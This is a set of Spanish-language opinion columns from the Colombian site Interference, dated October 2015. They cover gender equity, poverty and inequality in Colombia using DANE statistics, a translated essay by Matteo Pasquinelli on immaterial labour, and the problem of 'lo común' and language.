La idea de la equidad de género, pienso, tiene un fundamento similar. Hago referencia a esta idea ya que considero que el concepto de un sexo fuerte y un sexo débil radica más en una relación de conveniencia en la que ciertos individuos, por hacerse la vida más cómoda le han achacado a otras responsabilidades propias de una persona, como la alimentación o la administración del hogar. Al librarse de estas ocupaciones hay más permisividad para llevar una vida sin más compromisos que los que se adquieren con uno mismo en un proceso de autosatisfacción. Sin equilibrio. Como consecuencia obtenemos una sociedad egoísta e indiferente, en la que es tolerable que el mayor se imponga sobre el menor y en la cual le sonreímos hipócritamente al malo con poder mientras le damos palmaditas en la espalda al desafortunado.

Y aunque esto simplemente ocurra como un triste suceso, la realidad para quienes la viven es que deben negarse a vivir con plenitud. Deben negar su propia felicidad y su identidad. Al no saber quién eres es fácil perder la perspectiva de qué quieres en la vida.

Esto, palabras más o menos es quitar la posibilidad a alguien de que sea ella misma, es robarle su espacio como persona miembro de una sociedad, independiente de la justificación que para ello se use.

Y es por esto que considero necesario cambiar esas ideas anacrónicas, arraigadas en el subconsciente colectivo de nuestras sociedades que hacen más por destruir a las personas que por aportar al tejido social.  Si conseguimos esto no solo ganan las mujeres, ganan también los hombres que se enfrascan en comportamientos preestablecidos donde necesitan esforzarse mucho para llenar las expectativas de un segmento social ávido por encontrar y mantener “machos alfa”. Ganamos todos al contar con poblaciones más humanas, con expectativas más aterrizadas hacia el trato a los demás pues conseguiremos que la gente se diga más la verdad a sí misma y no tenga que avergonzarse de lo que es.

Pero ante todo, nos daremos la oportunidad de ser mejores seres humanos, reconociendo y posicionando a la persona que hay en ese otro al que negamos, quitándole esa etiqueta de objeto del cual disponemos para nuestra satisfacción y comodidad.

Y para terminar este artículo, el cierre más expresivo y digno que puedo hacer es mencionar con las mejores palabras que he escuchado, las de nuestro amigo el taxista, una cierta verdad entre los hombres y las mujeres.

–       “¿Sabe qué le dije yo a ese doble…?(el adjetivo queda a elección del lector). Usted no tiene ni idea de lo que es ser hombre, y mucho menos de lo que es una mujer. ¡Vaya y busque en el diccionario el significado de la palabra mujer y cuando lo entienda, ahí sí venga y habla conmigo!.  Aquí lo espero”♦.

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El común de lo común, convivir con la miseria es natural. http://interferencechannel.com/2015/10/11/el-comun-de-lo-comun-convivir-con-la-miseria-es-natural-2/ Sun, 11 Oct 2015 02:51:21 +0000 http://www.interferencechannel.com/?p=1321 + Read More]]>

Como se puede ver en la imagen, las ataduras a la estructura son tan fuertes que aunque los pájaros esperan avanzar en su vuelo, no pueden. 

Según el DANE la pobreza extrema en el país se ha ido erradicando de manera sistemática desde el año 2002, es desde el mismo, que empezó de manera drástica a disminuir, y asimismo la desigualdad, hasta el 2012, año en el que llegó a un estancamiento.

En las estadísticas presentadas por el DANE y la ONU, se asume que un hogar sale de la pobreza absoluta si sus integrantes tienen ingresos mayores a los  $211,807 Pesos Colombianos (COP) mensuales, que representan la carga calórica para la supervivencia de cada persona dentro del país, o lo que se le llama comúnmente la canasta familiar. Es decir que, un hogar conformado por 4 personas debe obtener como mínimo $847,228 Cop, para no estar en pobreza extrema. A esto se le debe añadir que el 29.3% de la población colombiana no alcanza a obtener más del mínimo vital ($211.807 COP mensuales por persona) para sostenerse.

Según el DANE, la pobreza bajó en un 2% pero el coeficiente GINI[1] no disminuyó sino en un 0.002 puntos, es decir que, mientras salen 811 mil personas de la pobreza, los índices de desigualdad no se mueven, lo cual tampoco es un gran aliciente, no sólo porque no disminuye, sino porque el coeficiente en Colombia es uno de los más bajos del mundo, 0,502, es decir, los ricos siempre han sido los más ricos, la clase media cada vez más reducida, y los pobres además de ser más pobres, cada vez somos más.

Pero ¿y esto qué tiene que ver con lo común?, se preguntará Ud. como lector. Muy sencillo, el ciudadano en Colombia se acostumbró a este movimiento expansionista de desigualdad, y no sólo se acostumbró, sino que sencillamente ya no le interesa. Cifras impactantes como esta: “Medidos los ingresos percibidos por los hogares colombianos, en estado de pobreza está el 45,5% de nuestra población, es decir, 19 millones 900 mil colombianos y en estado de indigencia hay un 16,4% de la población, es decir, 7 millones 200 mil colombianos.” (Vanguardia), no llegaron a los oídos de quienes siguen pendientes de la novela y el “reality” del momento.

Se puede tomar como ejemplo la ciudad capital, en Bogotá habitan 6,763 millones de personas, de los cuales el 10,2 % viven en la pobreza, es decir unos 680 mil bogotanos obtienen mensualmente un poco más de $220.000 COP al mes para sobrevivir y 67630 personas no reciben ni siquiera eso. Además el promedio de la canasta básica en Bogotá es mayor al promedio nacional ($229.672 COP). Esto presupone que una familia de 4 integrantes debe obtener casi un millón de pesos mensuales para poder mantenerse dentro del espectro de pobreza. “La línea de pobreza es el costo per cápita mínimo de una canasta básica de bienes (alimentarios y no alimentarios) en un área geográfica determinada. En 2014 la línea de pobreza en Bogotá D.C. fue de $229.672 con aumento de 2,7% con respecto a 2013, cuando fue $223.537. De acuerdo con lo anterior, un hogar en Bogotá D.C. compuesto por 4 personas, será clasificado como pobre si su ingreso está por debajo de $918.688.” (DANE, 2015). Esta dura realidad, confrontada con el salario mínimo ($644.350 COP) más el promedio salarial en Colombia (que esta entre 600.000 y 1’000.000 según cifras de la encuesta realizada por “trabajando.com y Portafolio”[2]) no da un mensaje alentador para el colombiano promedio.

Es de hecho aún más desalentadora la visión generalizada que se tiene del problema y las formas de solucionarlo.

la distribución de la riqueza y los recursos de nuestro país, está concentrada en un pequeño grupo de personas, no está dividida de una forma equitativa, ni mucho menos, repartida entre la gran mayoría de la población colombiana, ya que este aspecto ha sido generalmente ignorado por el gobierno que está enfocado en el actual nivel de ingresos, consumo de las personas y no en la pobreza como un problema de gran magnitud” (Ruiz, 2012). Esto no solo afecta la forma de atacar el problema por parte de la sociedad civil, sino que ha empezado a empeorar no solo la visión del ciudadano hacia su contrato social con el Estado, tal vez la ineficacia del mismo en la reducción real de la desigualdad, en la creación de empleos más dignos y salarios que realmente representen los gastos del mismo.

Es un golpe a la moral del colombiano el saberse siempre pobre, o eso sería lo lógico a pensar, pero no es así, en Colombia es común pensar que mientras se obtenga el sustento diario no se es pobre, o sencillamente se hace una comparación cercana con el que esté peor. Una serie de valores morales se han ido aclimatando cada vez más en nuestra sociedad, y esto es lo que se inculca desde siempre, por esto mismo se ve en los índices una escasez de profesionalización, y una actitud generalizada a la política, por lo mismo la educación política es también bajísima, se aumenta el desinterés de lo que sucede en las huestes del poder público y de cierta forma se exacerba un sueño Neoliberal que es el que alimenta la relación social de los habitantes del país, “me interesa lo mío y lo que hago” aumentando las brechas de desinterés social general.

La pobreza del país no es una pobreza en biodiversidad ni en capacidades, es una pobreza de apropiación de derechos y deberes, en saberse dentro de un sistema criollo de valores y no querer cambiarlo, y es que no es que seamos cómodos, sino que sencillamente nacemos derrotados, al parecer, nuestra estructura social se ha desviado de tal forma que realmente no buscamos salir de la pobreza sino mantenerla. Jaime Garzón decía en el año 1993 que los problemas del país no son nuevos y realmente es así, llevamos más de 100 años desangrándonos entre nosotros, por eso mismo es común hacer parte de esa franja de mínima supervivencia, por eso lo común es no votar para cambiar las cosas, por eso lo común es dejar hacer lo que sea a esos, los dé por allá tan lejos que manejan los hilos.

Lo común está, no en ser parte de ese margen de pobreza nada más, lo común es el desarraigo a las instituciones, es el criticismo excesivo sin proposición, lo común es hundirnos cada vez más entre nosotros mismos y quejarnos del barro que nos ensucia. Como propuesta, hagamos de la decencia y la cultura lo común, la apropiación de lo público y la credibilidad en la gente como algo común, hagamos de esto un nuevo comienzo para lo que merecen las generaciones que vienen, proponer no es fácil pero dar el ejemplo es la mejor forma de hacerlo.♦

[1] El coeficiente de Gini es una medida de la desigualdad, se utiliza para medir la desigualdad en los ingresos, dentro de un país en donde 1 es desigualdad absoluta y 0 es igualdad absoluta.

[2] http://www.portafolio.co/portafolio-plus/salarios-profesionales-colombia

*Adrián Maldonado es columnista del grupo editorial de Interference.

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Trabajo Cultural y máquinas inmateriales http://interferencechannel.com/2015/10/10/trabajo-cultural-y-maquinas-inmateriales/ Sat, 10 Oct 2015 04:16:23 +0000 http://www.interferencechannel.com/?p=1351 + Read More]]> https://interferencechannel.files.wordpress.com/2015/10/imagen-para-artc3adculo-ivc3a1n-ordc3b3c3b1ez.jpg

Matteo Pasquinelli

Traducción: Iván Ordóñez

Esta traducción se hace con autorización previa de Kurator
Texto tomado de Curating immateriality
http://www.kurator.org/publications/curating-immateriality/

“Las máquinas técnicas, obviamente, sólo funcionan si no están fuera de servicio. Las máquinas deseantes -por el contrario- se estropean continuamente mientras corren, y de hecho sólo corren cuando no están funcionando correctamente. A menudo el arte se aprovecha de esta característica creando verdaderas fantasías colectivas en las que la producción deseante se utiliza para cortocircuitar la producción social e interferir con la función reproductiva de las máquinas técnicas mediante la introducción de un elemento de disfunción. (Deleuze y Guattari, 1972: 31) ¿Qué es el trabajo inmaterial? ¿Qué produce el trabajo cultural? ¿En dónde trabaja el llamado “intelecto general”? Tomemos el ejemplo de la máquina de cigarrillos. La máquina que usted ve es la personificación del conocimiento científico en componentes de hardware y de software, generaciones de ingeniería estratificadas para uso comercial: ésta gestiona automáticamente los flujos de dinero y los commodities, sustituye a un ser humano con una interfaz fácil de usar, defiende la propiedad privada, funciona sobre la base de un mínimo de control y de la rutina de reposición de existencias. ¿A dónde ha ido el vendedor de tabaco [tobacconist]? A veces disfruta de su tiempo libre. En otras ocasiones, la empresa propietaria de la cadena de distribución lo ha reemplazado. En su lugar uno a menudo se encuentra con el técnico [technician]. Lejos de emular el “Fragmento sobre las máquinas” de Marx de los Grundrisse (1973 [1939]), con una especie de “Fragmento sobre las máquinas de cigarrillos”, este ejemplo es una demostración de cómo las teorías posfordistas viven a nuestro alrededor y que las máquinas construidas por la inteligencia colectiva están orgánicamente encadenadas a los flujos de la economía y de nuestras necesidades . Del mismo modo este ensayo introduce el concepto de trabajadores de la cultura como productores de “máquinas”. Si es fácil imaginar que la inteligencia colectiva se encarna en las máquinas materiales, ¿cómo podemos pensar en un producto cultural como una especie de “máquina inmaterial”? Y ¿cuál es el papel del trabajo cultural en relación con la creación diaria de las redes mundiales del llamado trabajo inmaterial?1. Empecemos una revisión geopolítica e histórica de la producción cognitiva siguiendo el concepto marxista de intelecto general [general intellect].

Desde los Grundrisse de Marx el concepto de intelecto general se ha convertido en el centro de los debates en torno a la economía del conocimiento [knowledge-based economy], la sociedad de la información, el capitalismo cognitivo, el trabajo inmaterial, la inteligencia colectiva, la clase creativa, el cognitariado [cognitariat], el intercambio de conocimientos, el posfordismo y más. En los últimos años el léxico político se ha ampliado para incluir herramientas críticas entrelazadas que volteamos en nuestras manos preguntándonos acerca de su utilidad exacta. En aras de la simplicidad, sólo dimos cuenta de los términos que heredaron un acercamiento Ilustrado, especulativo, angelical [angelic] y casi neognóstico [neognostic]. Sin embargo, la realidad es mucho más compleja y esperamos que surjan nuevas formas de emerger y de reclamar roles que -dentro del mismo campo- han sido asumidos por el deseo, el cuerpo, la estética, la biopolítica. Recordamos también el argumento de los trabajadores cognitivos vs los trabajadores precarios, dos caras de la misma moneda que los precognitivos [precogs] italianos de Chainworkers.org, los organizadores de la Jornada Euro May Day, describen de la siguiente manera: “los trabajadores cognitivos son networkers, los trabajadores precarios están conectados en red [networked], los primeros son brainworkers, los últimos chainworkers: los primeros, seducidos y luego abandonados por las empresas y los mercados financieros, los últimos arrastrados hacia ellos y flexibilizados por los flujos de capital global “2. Más que de “intelecto general” deberíamos hablar de intelectos generales. Hay múltiples formas de inteligencia colectiva y también hay un lado oscuro del trabajo inmaterial. Algunos tipos de inteligencia colectiva pueden convertirse en sistemas totalitarios, tales como la ideología militar-administrativa de los neoconservadores [neocons] o del imperio Microsoft. Otros pueden ser incorporados en las burocracias socialdemócratas, en el aparato [apparatus] de control policial, en las matemáticas de los especuladores del mercado de valores, en la arquitectura de nuestras ciudades a medida que caminamos todos los días sobre concreciones de inteligencia colectiva. En las distopías de películas como 2001 Odisea en el Espacio de Stanley Kubrick (1968) y The Matrix de los hermanos Wachowski (1999), el cerebro de las máquinas evoluciona en autoconciencia hasta el punto de deshacerse de lo humano. Las inteligencias colectivas “buenas”, en cambio, producen redes internacionales de cooperación, como la red del movimiento global, de los trabajadores precarios, de los desarrolladores de Software Libre, de activismo mediático. También producen el intercambio deconocimiento en las universidades, licencias abiertas de Creative Commons y planificación urbana participativa, narraciones e imaginarios de liberación. Desde una perspectiva geopolítica nos podemos dibujar en la paranoia de ciencia ficción de Philip Dick: la Tierra es dominada por una sola Inteligencia, pero dentro de ella se desarrolla una guerra entre dos Organizaciones de intelecto general, opuestas pero entrelazadas.

En tal escenario, no podemos considerar el trabajo cultural como algo neutral. Sin embargo, esto no se debe a una decisión política: el trabajo cultural ha cambiado desde el marco del siglo XIX que lo concibió. Como recuerda Paolo Virno en su libro Gramática de la Multitud (2003) (siguiendo La condición humana de Hannah Arendt, 1958), tres tipos de acción, bien separadas en el siglo XIX – Trabajo, Política e Intelecto – están ahora integradas en una misma actitud y son centrales en cada proceso productivo. Para trabajar, hacer política, producir, trabajar en o hacer arte hoy en día, se necesitan competencias híbridas. Con respecto a Virno, integramos el intelecto al arte y preferimos hablar de Trabajo, Política y Arte (incluyendo cualquier tipo de actividad creativa bajo el término Arte). Esto significa que todos somos trabajadores-artistas-activistas, pero también significa que las figuras del militante y del artista son superadas y que tales competencias sólo se forman en un espacio común que es la esfera del intelecto colectivo. El trabajo cultural no es “políticamente” neutral desde este punto de vista teórico, ya que no es posible distinguirlo de la esfera colectiva del Trabajo-Política-Arte. Si realmente queremos enmarcar el trabajo cultural desde la perspectiva de la escuela del trabajo inmaterial, tampoco hay que olvidar la genealogía y el fuerte legado político de este concepto. Detrás del poderoso motor concepto de la escuela franco-italiana del trabajo inmaterial, nos encontramos con la historia del operaismo italiano (obrerismo) 3, que siguió a la evolución de las condiciones laborales de la fábrica fordista a la “fábrica social” posfordista . El giro lingüístico del pensamiento post-operaista italiano se generó en dos revistas, la Comune Luogo italiana y la Antérieur Futur francesa en los años 90, diez años antes de que fueran publicados Gramática de la Multitud de Virno (2004) e Imperio de Hardt y Negri (2000 ), por citar sólo los bestsellers. Hoy, como entonces, estamos en busca de un nuevo agente colectivo y un nuevo punto de implementación de la oxidada palanca revolucionaria . El éxito del concepto de multitud4 (introducido en la obra de Negri, Virno y muchos otros pensadores franceses e italianos) también refleja la desorientación actual.

El pensamiento crítico busca continuamente forjar al actor colectivo que puede encarnar el espíritu de la época [zeitgeist] y podemos volver atrás a la historia reconstruyendo las formas fundamentales de cada paradigma de acción política: el agente social más o menos colectivo, la organización más o menos vertical, la meta más o menos utópica – el proletariado y la multitud, el partido y el movimiento, la revolución y la auto-organización. Los acontecimientos de 1977 (el año de los movimientos de protesta en Italia y el movimiento punk en Europa) sancionó el fin del paradigma “revolucionario” y el comienzo del “movimiento”, la apertura de nuevos espacios de conflicto en los campos de la comunicación , explorando medios de comunicación autónomos y la producción de una imaginería alternativa. La figura social de “trabajadores de la cultura” también surge del underground de los años 1960 y 1970. Hoy estamos descubriendo que el “movimiento” como formato necesita superarse, a favor de la “red”. En el imaginario actual del intelecto general parece ser el agente colectivo; su forma de ser, la red; su objetivo, crear un plano de auto-organización, su campo de acción, el capitalismo cognitivo espectacular biopolítico. ¿Cómo llegamos a este punto? Estamos en el punto de convergencia entre diferentes planos históricos: la herencia de las vanguardias históricas en la síntesis de la estética y la política; las luchas de 1968 y 1977, que abrieron nuevos espacios de conflicto fuera de las fábricas, y dentro del imaginario y de la comunicación; la hipertrofia de la sociedad del espectáculo y de la economía del logo; la transformación del trabajo asalariado fordista al trabajo precario autónomo posfordista; la revolución informativa y la aparición de Internet, la economía y la sociedad en red, la utopía giró hacia la tecnología. Algunos perciben el momento actual como una red mundial viva, otros como una nube borrosa, algunos como una nueva forma de explotación, otros como una oportunidad. Hoy la densidad alcanza su masa crítica y forma una clase radical global en la intersección del activismo, la comunicación, las artes, las tecnologías de red y la investigación independiente. ¿Cómo considerar el papel del trabajo cultural en este contexto?

En una fábula paranoica diferente, nos imaginamos que la tecnología es la más reciente adición a la serie de agentes colectivos generados por la historia, como en una muñeca matryoshka : religión – teología – filosofía – ideología – ciencia – tecnología. Esto quiere decir que la historia del pensamiento se estratifica en tecnologías de la información y de la inteligencia, aunque sólo nos recuerda el último episodio de esta serie, es decir, la red que encarna los sueños de la generación política anterior. Hoy, como en el pasado, la tecnología sigue siendo una metáfora principal para el trabajo intelectual y cultural. Hay una metáfora hegemónica recorriendo la crítica de medios y la cultura de la red, la curaduría y el mundo del arte: es el Software Libre. La escuchamos citada al final de cada intervención que plantea el problema de qué se va a hacer (pero también en artículos de marketing estratégico), mientras que la metáfora gemela del Código Abierto [Open Source] contamina todas las disciplinas: arquitectura de código abierto, literatura de código abierto, democracia de código abierto, ciudad de código abierto y así sucesivamente. Los software son máquinas inmateriales. La metáfora del Software Libre es tan simple por su inmaterialidad que a menudo falla en entrar en conflicto con el mundo real. Aunque sepamos que es una cosa buena y justa, polémicamente nos preguntamos: ¿Qué cambiará cuando todas las computadoras en el mundo trabajen con software libre? El aspecto más interesante del modelo del Software Libre es la inmensa red cooperativa que crearon los programadores en una escala global, pero ¿a qué otros ejemplos concretos podemos hacer referencia a la hora de proponer nuevas formas de acción en el mundo real y no sólo en el ámbito digital? En 1970 Deleuze y Guattari, con su libro El Anti-Edipo, tuvieron la intuición de lo maquínico, una introyección/imitación de la forma industrial de producción. Finalmente un “materialismo de los flujos “se refería a máquinas deseantes, revolucionarias, célibes, de guerra, en lugar de representativas o ideológicas. Deleuze y Guattari sacaron la máquina de la fábrica, ahora nos toca a nosotros sacarla de la red e imaginar una generación post-internet. El trabajo cognitivo produce máquinas de todo tipo, no sólo software: máquinas narrativas, máquinas publicitarias, máquinas mediáticas, máquinas que actúan, máquinas psíquicas, máquinas sociales, máquinas libidinosas. En el siglo XIX, la definición de máquina se refiería a un dispositivo de transformación de energía. En el siglo XX la máquina de Turing – el fundamento de toda la informática – inicia la interpretación de la información en forma de secuencias de 0 y 1. Para Deleuze y Guattari, por otra parte, una máquina deseante produce, corta y compone los flujos y, sin descanso, produce lo real.

Hoy en día entendemos por máquina la forma elemental del intelecto general, cada nodo de la red de la inteligencia colectiva, cada dispositivo material o inmaterial que articula orgánicamente los flujos de la economía y de nuestros deseos. En un nivel superior, la red puede en sí ser considerada como una mega-máquina de agenciamiento de otras máquinas, e incluso la multitud se vuelve maquínica, como escriben Negri y Hardt: “La multitud no sólo usa máquinas para producir, sino que deviene cada vez más maquínica en sí misma, así como los medios de producción están cada vez más integrados a las mentes y los cuerpos de la multitud. En este contexto la reapropiación significa tener libre acceso y control sobre el conocimiento, la información, la comunicación, y los afectos, ya que estos son algunos de los medios primarios de la producción biopolítica. El hecho de que estas máquinas productivas hayan sido integradas a la multitud no significa que la multitud tenga control sobre ellas. Más bien, hace su alienación más cruel y perjudicial. El derecho a la reapropiación es realmente el derecho de la multitud al autocontrol y a la autoproducción autónoma”(2000: 424). En otras palabras, en el postfordismo la fábrica ha salido de la fábrica y el conjunto de la sociedad se ha convertido en una fábrica. Una multitud ya maquínica sugiere que la subversión actual del sistema productivo en un plano autónomo podría ser posible en un instante, desconectando la multitud del comando del capital. Pero la operación no es tan fácil en los términos tradicionales de la “reapropiación de los medios de producción”. ¿Por qué es este el caso? Si bien es cierto que hoy en día el principal medio de trabajo es el cerebro y que los trabajadores pueden inmediatamente reapropiarse de los medios de producción, también es cierto que el control y la explotación de la sociedad se han vuelto inmateriales, cognitivos y en red. No sólo ha crecido el intelecto general de la multitud, sino también el intelecto general del imperio. Los trabajadores, armados con sus computadores, pueden reapropiarse de los medios de producción, pero tan pronto como salen de sus escritorios tienen que enfrentarse a un Godzilla que no habían previsto, el Godzilla del intelecto general del enemigo. Las meta-máquinas sociales, estatales, económicas -a la que los seres humanos están conectados como apéndices- están dominadas por automatismos conscientes e inconscientes. Las meta-máquinas están gobernadas por una clase particular de trabajo cognitivo que es el trabajo administrativo, político y de gestión, que realiza proyectos, organiza y controla en gran escala: una forma de intelecto general que nunca habíamos considerado y en la que la figura central en la segunda mitad del siglo XX era la del administrador [manager].

Como George Orwell nos recuerda, en nuestro mundo post-democrático (o si lo prefiere, en el imperio) los administradores [managers] se han apoderado del comando: “El capitalismo está desapareciendo, pero el socialismo no lo está sustituyendo. Lo que ahora se plantea es un nuevo tipo de sociedad planificada y centralizada que no será ni capitalista ni, en cualquier sentido aceptado de la palabra, democrática. Los gobernantes de esta nueva sociedad será la gente que efectivamente controlan los medios de producción: es decir, ejecutivos, técnicos, burócratas y soldados, agrupados juntos por Burnham, bajo el nombre de gerentes [managers]. Estas personas eliminarán la vieja clase capitalista, aplastará a la clase obrera y así organizara a la sociedad de manera que todo el poder y privilegios económicos permanezcan en sus propias manos. Se abolirán los derechos de propiedad privada, pero no se establecerá la propiedad común. Las nuevas sociedades de gestión [managerial societies] no estarán formadas por un mosaico de pequeños estados independientes, sino de grandes super-estados agrupados en torno a los principales centros industriales de Europa, Asia y América. Internamente, cada sociedad será jerárquica, con una aristocracia del talento en la cima y una masa de semi-esclavos en la base” (1946). El trabajo inmaterial está en todas partes y en ocasiones la frontera entre los tecno-administradores [techno-managers] de Orwell y los trabajadores creativos se hace borrosa. No odie a la máquina, sea la máquina. ¿Cómo podemos convertir el intercambio de conocimientos, las herramientas y los espacios, el trabajo inmaterial y el trabajo cultural en nuevas máquinas productivas radicales revolucionarias, más allá del inflado Software Libre? Este es el desafío que alguna vez se llamó la reapropiación de los medios de producción. ¿Podrá la clase radical global inventar máquinas sociales que puedan desafiar el capital y funcionar como planos de autonomía y autopoiesis? ¿Están las máquinas radicales que son capaces de hacer frente a la inteligencia técnico-gerencial y las meta-máquinas imperiales alineadas tal cuales son? ¿Cómo empezamos a construir estas máquinas?♦

Iván Ordóñez colabora con Interference desde 2014.

 

Notas (en inglés)

1. The idea of immaterial labour comes to be theorised as a result of the changes in the mode
of capitalist production identified as post-Fordism. The Italian tradition of operaismo links the notion of immaterial labour to the move from Fordist to lean production, or Toyotism, where prior to being manufactured a product must be sold. More specifically defined, immaterial labour refers to two different aspects of labour. According to Maurizio Lazzarato: [1] ‘As regards the “informational content” of the commodity, it refers directly to the changes taking place in workers’ labour processes in big companies in the industrial and tertiary sectors, where the skills involved in direct labour are increasingly skills involving cybernetics and computer control (and horizontal and vertical communication).’ [2] ‘As regards the activity that produces the “cultural content” of the commodity, immaterial labour involves a series of activities that are not normally recognised as “work” – in other words, the kinds of activities involved in defining and fixing cultural and artistic standards, fashions, tastes, consumer norms, and more strategically, public opinion.’ The idea that immaterial labour directly produces the capital relation – something that material labour covertly did – changes the phenomenology of capital. Immaterial workers are primarily producers of subjectivity. ‘If production today is directly the production of a social
relation, then the ‘raw material’ of immaterial labour is subjectivity and the “ideological”
environment in which subjectivity lives and reproduces. The production of subjectivity ceases to be only an instrument of social control (for the production of mercantile relationships) and becomes directly productive, because the goal of our post industrial society is to construct the consumer/communicator – and to construct it as “active”. Immaterial workers (those who work in advertising, fashion, marketing, television, cybernetics, and so forth) satisfy a demand by the consumer and at the same time establish that demand.’ (1996: 133)
2. Chainworkers, Il precognitariato. L’europrecariato si è sollevato (2003) <http://www.
rekombinant.org/article.php?sid=2184>. See also <http://www.chainworkers.org&gt; and <http://www.inventati.org/mailman/listinfo/precog&gt;.
3. According to François Matheron: ‘Italian theoretical and political movement, operaismo
was fundamentally active during the 60s and the beginning of the 70s. In an epoch where the worker movement in crisis was dominated by excessively “ideological” debates, operaismo was characterized essentially by proposing a “return to the working class”. It is characterized by 1. A method: we too have considered in first place capitalist development, and only afterward the workers struggles. This is an error. It is necessary to invert the problem, change the sign, and begin again, and the beginning is the struggle of the working class. (Mario Tronti) As such, not only is class struggle the motor of history, but rather, above all, the relation is asymmetric. It is the movement, always visible, of the working class that explains those of capital and of capitalist society, and not the inverse. This abstract idea acquires its meaning with the introduction of the concept of class composition. The working class is not a mythological notion, but rather a historically constructed whole. Technical composition: analysis of the labor process, of the technology, not in sociological terms but rather as sanction of the relations of force between classes. Example: fordism and taylorism embody the principle of eliminating the resistance of the workers and their unions imposing a new type of work. It makes sense, then, to analyze in detail the labor process, its modifications, in order to understand what “class struggle” means: there has never been more Marxist “evidence”. Political composition: inside the working class certain fractions play a minor political role. The working class is not content with reacting to the dominion of capital, it is immersed continually in the process of political recomposition, and capital is obliged to respond with a continual restructuration of the labor process. It makes sense, as such, to analyze this political recomposition, the cycle of struggles. 2. A global point of
view: from the first texts of Raniero Panzieri attention is centered on planning. Capital acquires more relevance as a social power that tries to control the movements of the class, than as private property. From here there arises a new vision of the State: no longer is it the simple guarantor, but rather the organizer of exploitation, intervening directly in production. The form of the state is a consequence of the class composition. Antonio Negri can thus demonstrate that the ‘keynsian’ state, and, in general, that what he calls the “planner state” is nothing other than the insertion of the October Revolution into capitalist development: workers power is considered as independent variable. 3. A political movement: if the working class is the motor for capitalist development, it can equally be, and is, a force of rupture. In a period of apparent reflux, in which one can speak of a working class will to integration, the operaists preached, and tried to organize, new struggle impelled by a new figure the “mass worker”, the nonqualified worker in the large factories. Struggles for wage equality, not as corporatist claims but rather as political forces of rupture capable of blocking the system and augmenting workers power. The movement of ’68 would be perceived as confirmation of this thesis. There exists the possibility of rupture, and as such the construction of communism (against socialism, the new form of development); but also the state can equally impose its restructuration, once again transforming the workers struggles into simple motors for development. 4. A movement in History: the will to organize the movements in open conflict with the traditional worker movement provoked a rupture in the Quaderni Rossi (the originary journal of this tendency), lead by Panzieri: in 1964 the periodical Classe Operaia was born, animated by Mario Tronti, Romano Alquati and Antonio Negri, among others, from which a part of the group separated in 1966, led by Mario Tronti, that would end up entering into the PCI. After 1968, the group Potere Operaio would be one mode of inheriting the earlier tendency; its self-dissolution in 1973 signaled the appearance of the “workers autonomy”. Negri would elaborate the theory of the “social worker” as new figure of a working class that had ceased to be concentrated in the large factories and had come to be distributed in a more diffused form in the totality of the territory, with the concept of productive work adopting a greater extension, and the State converting itself into the principle direct enemy. But that is already another story.’ (1999)
4. See the French magazine Multitudes <http://multitudes.samizdat.net&gt;.

Referencias (en inglés)

Chainworkers.org <http://chainworkers.org&gt;.
Gilles Deleuze & Felix Guattari (1972) L’anti-Oedipe, Paris: Les Éditions De Minuit.
Michael Hardt & Antonio Negri (2000) Empire, Cambridge MA: Harvard University Press.
Maurizio Lazzarato (1996) ‘Immaterial Labour’, in Paolo Virno & Michael Hardt (eds.) RadicalThought in Italy: A Potential Politics, Minneapolis: University of Minnesota Press.
François Matheron (1999) ‘Operaïsme’, in Gérard Bensussan & Georges Labica (eds.)
Dictionnaire critique du marxisme, trans. Nate Holdren, Paris: Quadrigue – Presses Universitaires de France.
Karl Marx (1973 [1939]) Grundrisse, London: Penguin Books.
Multitudes <http://multitudes.samizdat.net&gt;.
George Orwell (1946) Second Thoughts on James Burnham, [pamphlet] London.
Paolo Virno (2003) A Grammar of the Multitude, New York: Semiotext(e).
Paolo Virno & Michael Hardt (eds) (1996) Radical Thought In Italy: A Potential Politics,
Minneapolis: University of Minnesota Press.

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El problema de lo común y el lenguaje. http://interferencechannel.com/2015/10/10/el-problema-de-lo-comun-y-el-lenguaje/ Sat, 10 Oct 2015 04:07:54 +0000 http://www.interferencechannel.com/?p=1349 + Read More]]> https://interferencechannel.files.wordpress.com/2015/10/lo-comc3ban.jpg

 

El concepto de lo común hace referencia, por lo general, a un aspecto que tiene como objetivo unir, entrelazar, encontrar un punto de conjunción. Sin embargo, esta comprensión de lo común, que aparentemente hace alusión a algo positivo en un principio, guarda también ciertos peligros. Por ejemplo, en la relación entre dos personas puede convertirse en un motivo para no conocerse sino perderse en la igualdad con el otro.

Detrás de esta ocurrencia está escondida una intención un poco perversa. Lo común, bajo esta mirada es como un costal. ¿Qué significa esto? que todos deben acoplarse a la forma de este costal y deben convertirse en una masa conjunta. Este peligro acecha la época actual, denominada por algunos como posmodernidad. Este suceso se puede llamar también la homogeneización de los diferentes caracteres y personalidades, y consiste en usar una misma vara para medir a todos, es usar una medida común para calificar lo que tiene una naturaleza heterogénea. En otras palabras, este tiempo se traduce como el tiempo de las estandarizaciones y la matematización de lo que se puede concebir como divergente en un principio.

Digo matematización porque la identidad queda reducida a un criterio o categoría específica. De aquí viene la necesidad actual de querer clasificar los diferentes tipos de personas. De aquí nacen estos términos o nominaciones que se les atribuyen a las personas, como hippie, hypster, snob, preppy, solo para dar unos ejemplos. Entonces no es cada uno el que escoge su identidad, sino que ésta se convierte, bajo los lineamientos del costal, del que ya hablamos anteriormente, en una mercancía. Es así como todos terminamos comprando nuestros propios yoes a una nube invisible que está abstraída del mundo concreto, que es el mundo del cambio y el desorden. Es así como la época de la posmodernidad va cayendo sigilosamente en un aplanamiento de las diferentes personalidades.

El problema de este costal en el que estamos metidos es que lo que no se puede clasificar, enmarcar, enumerar, en relación a lo humano, queda relegado al lado de lo oscuro, al lado de lo que no se puede nombrar ni conceptualizar. Aquí aparece un miedo. Éste se debe, a su vez, a la necesidad que acapara a la época actual, de querer entender todo bajo el dominio de la palabra, del discurso, de los dogmas, en general, del lenguaje verbal. Este es uno de los problemas que ha conllevado el dominio del lenguaje en relación a la forma de relacionarse con el mundo. El lenguaje verbal ha abarcado demasiado espacio en la mente humana, o, mejor aún, el mal uso y comprensión de la utilidad del lenguaje verbal. Ya que no todo lo que se conoce debe ser verbalizado, o, más precisamente, no tiene por qué ser conceptualizado. El lenguaje tiene dos usos, uno es abstracto, es decir, está enfocado a la creación de conceptos, de categorías, de clasificaciones, y el otro uso es vivo, es decir, la descripción del momento o del objeto tal como se presenta en la situación particular y concreta, sin necesidad de objetivar su realidad.

